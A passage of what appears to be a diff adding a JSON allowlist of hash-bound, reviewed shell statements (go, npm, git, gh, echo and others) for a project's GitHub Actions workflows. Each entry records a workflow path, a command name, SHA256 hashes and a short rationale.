"26041f77388bcaa32465908b060d7476b5114371241c1c195ef74b70d2252995", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed go statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "go", + "statementSHA256": "2d41bcec9837f54956908dd2d0b0a8f2807d7f06604c5a11a0eb74bb9cfbba5c", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed go statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "go", + "statementSHA256": "42a8263a643ccbe692d70752ffdd8cea328fc2d3190677df1485ee06f55b350a", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed go statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "go", + "statementSHA256": "4e7f68cf26c2ff26989715c4bbf23f715c4e0923a4f7bf66ed82c4fa536456b4", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed go statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "go", + "statementSHA256": "5aebdf7446ebca99f13ca2b455880d5d55233a2d83498cf097922da02828b02f", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed go statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "go", + "statementSHA256": "8ae32f1ee523f29fdfeeef0f9c855a5c669aa3899989085af27d95a0640d8595", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed go statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "go", + "statementSHA256": "b41ef78946e68fecaa590bc077054e0638416890b5a7a1f46d5e44cf1c24707a", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact focused semantic godo dependency test." + }, + { + "path": ".github/workflows/ci.yml", + "command": "go", + "statementSHA256": "e0d3de6e43dc98e02cdf01a691a746c2d4558a598f92a3dda32d71e372927aa0", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed go statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "go", + "statementSHA256": "eeb0b460bb01315284c7e24a75dd833efca6415522c0343b15b880ef7220c5ba", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed go statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "go", + "statementSHA256": "f7061781d47f4bb513d9b9fb1ed3cd376f2c7d61f2946f106b559d006dbd8ba1", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed go statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "grep", + "statementSHA256": "0b5fa343e243742f1115a207b9c1d7445ca6d8c9b323c1be8e92a2e000a90e62", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed grep statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "grep", + "statementSHA256": "13529b0e68cc47db2882ea87e9109fb4e8b3c4b0903976bc2ce5379913c7e19c", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed grep statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "grep", + "statementSHA256": "7e5cf50406f390d8f6d072addd0a5fd37b0a4383f6171301dd7864e8b3a55517", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed grep statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "grep", + "statementSHA256": "e708827d46940e663db927e2c4d82356e6f24a0401684c2f7aba1ac0b6ceb8b1", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed grep statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "head", + "statementSHA256": "6589a21c9aef0df2b0e7d38f3ef984fc919f170a90372943220d5f59eb4707fe", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed head statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "npm", + "statementSHA256": "17e52953ed4faf4c86413738740a5673c00021f03375fcda35f2cd1a400749ff", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed npm statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "npm", + "statementSHA256": "1da8bf23d2c0684c704bbca52edd911233fb4bb267f1118d5b94915af4ce2757", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed npm statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "npm", + "statementSHA256": "92f0ca32bddd727ae2912374c0aec5686041a0966972274686cf8a013a89b1a3", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed npm statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "npm", + "statementSHA256": "d97a7e99821a0fdb80c5ddc4ebb5ac872572ff770b86cff9eedfeb85a67f4feb", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed npm statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "printf", + "statementSHA256": "4bcc3d47a83eb623df4342a174e0963068244db476cec554840c24c167c6f95e", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed printf statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "read", + "statementSHA256": "4bcc3d47a83eb623df4342a174e0963068244db476cec554840c24c167c6f95e", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed read statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "sed", + "statementSHA256": "6589a21c9aef0df2b0e7d38f3ef984fc919f170a90372943220d5f59eb4707fe", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed sed statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "set", + "statementSHA256": "2e1a7639d1948bff0214cdd5718cd1f7b8e6dd5ff44fe84790357701f90c19fb", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed set statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "set", + "statementSHA256": "825769eed1c7cd6531f7d329eba635d64140a7ee9d8c6363ff00a953d7e071f9", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed set statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "sort", + "statementSHA256": "b835b6257f216b7ba333e6d8c28c505a75ef0172355e86bdf3daa1d04b3cf4e2", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed sort statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "test-check-public-workflow-policy.sh", + "statementSHA256": "fadc93497dfe2d7f2ceefe3e759006346002bc51a874f0591e43bcfaaf9ee391", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Run the exact hash-bound public workflow mutation harness." + }, + { + "path": ".github/workflows/ci.yml", + "command": "timeout", + "statementSHA256": "b835b6257f216b7ba333e6d8c28c505a75ef0172355e86bdf3daa1d04b3cf4e2", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed timeout statement for ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "command": "true", + "statementSHA256": "13529b0e68cc47db2882ea87e9109fb4e8b3c4b0903976bc2ce5379913c7e19c", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Exact reviewed true statement for ci.yml automation." + }, + { + "path": ".github/workflows/codeql.yml", + "command": "cd", + "statementSHA256": "1da8bf23d2c0684c704bbca52edd911233fb4bb267f1118d5b94915af4ce2757", + "contextSHA256": "ff3bb78aaf12cc4448dafd9c7c9f5a43da36ec846ea4105ea8b77e41c39b0811", + "state": "active", + "rationale": "Exact reviewed cd statement for codeql.yml automation." + }, + { + "path": ".github/workflows/codeql.yml", + "command": "npm", + "statementSHA256": "1da8bf23d2c0684c704bbca52edd911233fb4bb267f1118d5b94915af4ce2757", + "contextSHA256": "ff3bb78aaf12cc4448dafd9c7c9f5a43da36ec846ea4105ea8b77e41c39b0811", + "state": "active", + "rationale": "Exact reviewed npm statement for codeql.yml automation." + }, + { + "path": ".github/workflows/copilot-setup-steps.yml", + "command": "echo", + "statementSHA256": "029d90f82b2e768d7b6c85781af08aa9fc2f20ce52ba13047833f636d6a3170c", + "contextSHA256": "9e4088e3a5fedcd03a34de005765a9bb768d26537e5da4be1d5754a3be492d1c", + "state": "active", + "rationale": "Exact reviewed echo statement for copilot-setup-steps.yml automation." + }, + { + "path": ".github/workflows/copilot-setup-steps.yml", + "command": "echo", + "statementSHA256": "5040ee4f5cf51d4a1f7af242edd29822fe81365d6f2de84e5ec7b0d72fd26128", + "contextSHA256": "9e4088e3a5fedcd03a34de005765a9bb768d26537e5da4be1d5754a3be492d1c", + "state": "active", + "rationale": "Exact reviewed echo statement for copilot-setup-steps.yml automation." + }, + { + "path": ".github/workflows/copilot-setup-steps.yml", + "command": "go", + "statementSHA256": "26041f77388bcaa32465908b060d7476b5114371241c1c195ef74b70d2252995", + "contextSHA256": "9e4088e3a5fedcd03a34de005765a9bb768d26537e5da4be1d5754a3be492d1c", + "state": "active", + "rationale": "Exact reviewed go statement for copilot-setup-steps.yml automation." + }, + { + "path": ".github/workflows/copilot-setup-steps.yml", + "command": "go", + "statementSHA256": "42a8263a643ccbe692d70752ffdd8cea328fc2d3190677df1485ee06f55b350a", + "contextSHA256": "9e4088e3a5fedcd03a34de005765a9bb768d26537e5da4be1d5754a3be492d1c", + "state": "active", + "rationale": "Exact reviewed go statement for copilot-setup-steps.yml automation." + }, + { + "path": ".github/workflows/copilot-setup-steps.yml", + "command": "go", + "statementSHA256": "c723f65692c39b2622d781ca9baba3bdae3a28febc71b864e864abb41bdb879e", + "contextSHA256": "9e4088e3a5fedcd03a34de005765a9bb768d26537e5da4be1d5754a3be492d1c", + "state": "active", + "rationale": "Exact reviewed go statement for copilot-setup-steps.yml automation." + }, + { + "path": ".github/workflows/copilot-setup-steps.yml", + "command": "golangci-lint", + "statementSHA256": "8480be014e89507a321d566e76f93c96dd3781212c961d95f4626eda20bfb6d7", + "contextSHA256": "9e4088e3a5fedcd03a34de005765a9bb768d26537e5da4be1d5754a3be492d1c", + "state": "active", + "rationale": "Exact reviewed golangci-lint statement for copilot-setup-steps.yml automation." + }, + { + "path": ".github/workflows/cross-plugin-build-test.yml", + "command": "cd", + "statementSHA256": "18620c11782873c9875d5463e213aa7b1512e22d3312c1282d0aa64d594ff573", + "contextSHA256": "a27b51b12443ad48839aaee1f6175464ce7e774e86ced8071e6604a0e156c2b0", + "state": "active", + "rationale": "Exact reviewed cd statement for cross-plugin-build-test.yml automation." + }, + { + "path": ".github/workflows/cross-plugin-build-test.yml", + "command": "go", + "statementSHA256": "5aebdf7446ebca99f13ca2b455880d5d55233a2d83498cf097922da02828b02f", + "contextSHA256": "a27b51b12443ad48839aaee1f6175464ce7e774e86ced8071e6604a0e156c2b0", + "state": "active", + "rationale": "Exact reviewed go statement for cross-plugin-build-test.yml automation." + }, + { + "path": ".github/workflows/cross-plugin-build-test.yml", + "command": "go", + "statementSHA256": "854004a0c269ca4993dad170dc3f7d6e996493547b7c6b5c5c83cf20d113b42a", + "contextSHA256": "a27b51b12443ad48839aaee1f6175464ce7e774e86ced8071e6604a0e156c2b0", + "state": "active", + "rationale": "Exact reviewed go statement for cross-plugin-build-test.yml automation." + }, + { + "path": ".github/workflows/cross-plugin-build-test.yml", + "command": "go", + "statementSHA256": "8d527f7bed54e4ac9fdb128ab47b188da24e51e7d5e019db6e208f1795b5deb4", + "contextSHA256": "a27b51b12443ad48839aaee1f6175464ce7e774e86ced8071e6604a0e156c2b0", + "state": "active", + "rationale": "Exact reviewed go statement for cross-plugin-build-test.yml automation." + }, + { + "path": ".github/workflows/cross-plugin-build-test.yml", + "command": "go", + "statementSHA256": "a65972d083c0ae1369f5d486f15a5229a7bd87f8575244efbc5616a75ef4ec72", + "contextSHA256": "a27b51b12443ad48839aaee1f6175464ce7e774e86ced8071e6604a0e156c2b0", + "state": "active", + "rationale": "Exact reviewed go statement for cross-plugin-build-test.yml automation." + }, + { + "path": ".github/workflows/dependency-update.yml", + "command": "cd", + "statementSHA256": "31fa6994f931a8387ed2de72884b88124b344830ce3e41e323a8a61c8bbd3cdd", + "contextSHA256": "4cc139c9e4ddeff0df1ded39f5edc58a07526ead081276ae50b4b21153897de9", + "state": "active", + "rationale": "Exact reviewed cd statement for dependency-update.yml automation." + }, + { + "path": ".github/workflows/dependency-update.yml", + "command": "cd", + "statementSHA256": "81f8a8bb0252e7c0ab24019ede6124b516d8eb9a2e00f43927fb3065631949ae", + "contextSHA256": "4cc139c9e4ddeff0df1ded39f5edc58a07526ead081276ae50b4b21153897de9", + "state": "active", + "rationale": "Exact reviewed cd statement for dependency-update.yml automation." + }, + { + "path": ".github/workflows/dependency-update.yml", + "command": "go", + "statementSHA256": "1bb497e3e13a1105cf24e3359fa3ef75de08b66ff8a2839cd7f9ea97824d9eb3", + "contextSHA256": "4cc139c9e4ddeff0df1ded39f5edc58a07526ead081276ae50b4b21153897de9", + "state": "active", + "rationale": "Exact reviewed go statement for dependency-update.yml automation." + }, + { + "path": ".github/workflows/dependency-update.yml", + "command": "go", + "statementSHA256": "31fa6994f931a8387ed2de72884b88124b344830ce3e41e323a8a61c8bbd3cdd", + "contextSHA256": "4cc139c9e4ddeff0df1ded39f5edc58a07526ead081276ae50b4b21153897de9", + "state": "active", + "rationale": "Exact reviewed go statement for dependency-update.yml automation." + }, + { + "path": ".github/workflows/dependency-update.yml", + "command": "go", + "statementSHA256": "5aebdf7446ebca99f13ca2b455880d5d55233a2d83498cf097922da02828b02f", + "contextSHA256": "4cc139c9e4ddeff0df1ded39f5edc58a07526ead081276ae50b4b21153897de9", + "state": "active", + "rationale": "Exact reviewed go statement for dependency-update.yml automation." + }, + { + "path": ".github/workflows/dependency-update.yml", + "command": "go", + "statementSHA256": "8961a3f12aa37d9a2f8dc5236cda96031d6a0dc9282023220ae0681b7a0d8265", + "contextSHA256": "4cc139c9e4ddeff0df1ded39f5edc58a07526ead081276ae50b4b21153897de9", + "state": "active", + "rationale": "Exact reviewed go statement for dependency-update.yml automation." + }, + { + "path": ".github/workflows/helm-lint.yml", + "command": "helm", + "statementSHA256": "3295bcc6da39e9d7171a4225fcb1e58c473a6312a74061c5a0d76b1fbc36d1f9", + "contextSHA256": "da77d154893ef019dc531722a42332d215ebed9f9cd758ec277cfc73f80d3ff1", + "state": "active", + "rationale": "Exact reviewed helm statement for helm-lint.yml automation." + }, + { + "path": ".github/workflows/helm-lint.yml", + "command": "helm", + "statementSHA256": "591b079560fda70ba78fe068830b729be5c688ed2deada5a5b1839c1a4c3641c", + "contextSHA256": "da77d154893ef019dc531722a42332d215ebed9f9cd758ec277cfc73f80d3ff1", + "state": "active", + "rationale": "Exact reviewed helm statement for helm-lint.yml automation." + }, + { + "path": ".github/workflows/helm-lint.yml", + "command": "helm", + "statementSHA256": "644e7f48153430de5f0889694dd0222f89942e207050b85ded6c04c4f530cabf", + "contextSHA256": "da77d154893ef019dc531722a42332d215ebed9f9cd758ec277cfc73f80d3ff1", + "state": "active", + "rationale": "Exact reviewed helm statement for helm-lint.yml automation." + }, + { + "path": ".github/workflows/helm-lint.yml", + "command": "helm", + "statementSHA256": "8c8b7a869f13d9a8a0f3f49a3c5da237e4f35f997c1ae3777aa790c81ab7093f", + "contextSHA256": "da77d154893ef019dc531722a42332d215ebed9f9cd758ec277cfc73f80d3ff1", + "state": "active", + "rationale": "Exact reviewed helm statement for helm-lint.yml automation." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "command": "echo", + "statementSHA256": "313450d5338f44e4a529e031e99a0e3b42d07904f31d914ecc06c40f0ef85bf4", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Exact reviewed invalid-base diagnostic for pull-request OSV scanning." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "command": "echo", + "statementSHA256": "a59997b22ead85f5bdb580c1f47b6203c2f97d16970f9a0e5be2018e188c8ea4", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Exact reviewed invalid-base diagnostic for merge-group OSV scanning." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "command": "exit", + "statementSHA256": "313450d5338f44e4a529e031e99a0e3b42d07904f31d914ecc06c40f0ef85bf4", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Exact reviewed invalid-base rejection for pull-request OSV scanning." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "command": "exit", + "statementSHA256": "a59997b22ead85f5bdb580c1f47b6203c2f97d16970f9a0e5be2018e188c8ea4", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Exact reviewed invalid-base rejection for merge-group OSV scanning." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "command": "git", + "statementSHA256": "daebbb2c5b1b6a8fbe4ffcb6b12e0d356811af9119fae54c6733170dc7b40e74", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Exact reviewed candidate-commit restore for differential OSV scanning." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "command": "git", + "statementSHA256": "db4b94eee2fcbb4f7e0c067ed70145753d7f6b8c479622cde0875d1026694029", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Exact reviewed event-specific base checkout for differential OSV scanning." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "$assignment", + "statementSHA256": "17130f0e2508de3af58c07c7035c18f65ed543090aa3a4ba91d966a3997fd947", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed literal assignment for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "$assignment", + "statementSHA256": "40992f3fe8ae21ed7161e2bb2df5699a217c529ecf2e3d67430b9250cfad6c4c", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed fail-closed GitHub DELETE helper for pre-release snapshot cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "$assignment", + "statementSHA256": "b0ef2141de077e8b9a726d6098ed77c483f73e2a5e84e4fefbd1d710b10ddffe", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed URI-encoding snapshot release listing for pre-release cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "$assignment", + "statementSHA256": "bee7f91ad7fd08ae67f0f9af901e8afacd6da25045007cc145266ca72f9d7cd0", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed literal assignment for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "$assignment", + "statementSHA256": "d949518edc4df9d96ee9c32c28d9c8dec608757b540c726b58ea7af9a71f75d8", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed literal assignment for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "$assignment", + "statementSHA256": "f1aa3b07b8aadb3a72296066e1d2b4b9786855903f31b71a35009b558cccc71b", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed literal assignment for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": ":", + "statementSHA256": "b0ef2141de077e8b9a726d6098ed77c483f73e2a5e84e4fefbd1d710b10ddffe", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed URI-encoding snapshot release listing for pre-release cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "cd", + "statementSHA256": "1da8bf23d2c0684c704bbca52edd911233fb4bb267f1118d5b94915af4ce2757", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed cd statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "cd", + "statementSHA256": "77bf368130272f2edad3a189e7afddcc44e1b018ab2b03650a5f6caac407d1fd", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed cd statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "cd", + "statementSHA256": "bf97c2b1c84c2252a469aab4dce99637a3408fe5f891af7ad7f0ab209b0f2f7d", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed cd statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "continue", + "statementSHA256": "2fd8776961639fe68ab284365ff136a4515a35d6bd6def97b500ad6b3d5f7985", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed whole-list validation pass for pre-release cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "continue", + "statementSHA256": "e4882f75f2755c94163a114c913cc795ff765c9705405b2ee958dab57c0f80f4", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed post-validation deletion pass for pre-release cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "cp", + "statementSHA256": "77bf368130272f2edad3a189e7afddcc44e1b018ab2b03650a5f6caac407d1fd", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed cp statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "delete_github_resource", + "statementSHA256": "e4882f75f2755c94163a114c913cc795ff765c9705405b2ee958dab57c0f80f4", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed post-validation deletion pass for pre-release cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "echo", + "statementSHA256": "2fd8776961639fe68ab284365ff136a4515a35d6bd6def97b500ad6b3d5f7985", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed whole-list validation pass for pre-release cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "echo", + "statementSHA256": "33262c9f58255699a2419fc78e1802c1cbeb1589608fe06a55dbf7456bc8437c", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed echo statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "echo", + "statementSHA256": "40992f3fe8ae21ed7161e2bb2df5699a217c529ecf2e3d67430b9250cfad6c4c", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed fail-closed GitHub DELETE helper for pre-release snapshot cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "echo", + "statementSHA256": "79b103b8187128596c08f49b6e6d457e4e2194313b29e2bc42dc9e6484d9d210", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed echo statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "echo", + "statementSHA256": "b0ef2141de077e8b9a726d6098ed77c483f73e2a5e84e4fefbd1d710b10ddffe", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed URI-encoding snapshot release listing for pre-release cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "exit", + "statementSHA256": "2fd8776961639fe68ab284365ff136a4515a35d6bd6def97b500ad6b3d5f7985", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed whole-list validation pass for pre-release cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "exit", + "statementSHA256": "b0ef2141de077e8b9a726d6098ed77c483f73e2a5e84e4fefbd1d710b10ddffe", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed URI-encoding snapshot release listing for pre-release cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "gh", + "statementSHA256": "40992f3fe8ae21ed7161e2bb2df5699a217c529ecf2e3d67430b9250cfad6c4c", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed fail-closed GitHub DELETE helper for pre-release snapshot cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "gh", + "statementSHA256": "504ef6312f839e2e5cea084c75ceaa8ad075f8c39ea9b958acc31756dab21bcc", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed gh statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "gh", + "statementSHA256": "b0ef2141de077e8b9a726d6098ed77c483f73e2a5e84e4fefbd1d710b10ddffe", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed URI-encoding snapshot release listing for pre-release cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "git", + "statementSHA256": "17130f0e2508de3af58c07c7035c18f65ed543090aa3a4ba91d966a3997fd947", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed git statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "git", + "statementSHA256": "f1aa3b07b8aadb3a72296066e1d2b4b9786855903f31b71a35009b558cccc71b", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed git statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "go", + "statementSHA256": "0a35542d7dae6ed6ef183178768c9c2698530b93d66f4db574d09a0a7eba68ed", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed go statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "go", + "statementSHA256": "40b7c79f0a0bab2d1781d59aba9d5a7ecab0daff76049ac14f0d90351b6ad909", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed go statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "go", + "statementSHA256": "5bcb9e1163c56899af4f7e03bf8306273129ce35736d6b1a3f9da50df9907b88", + "contextSHA256": 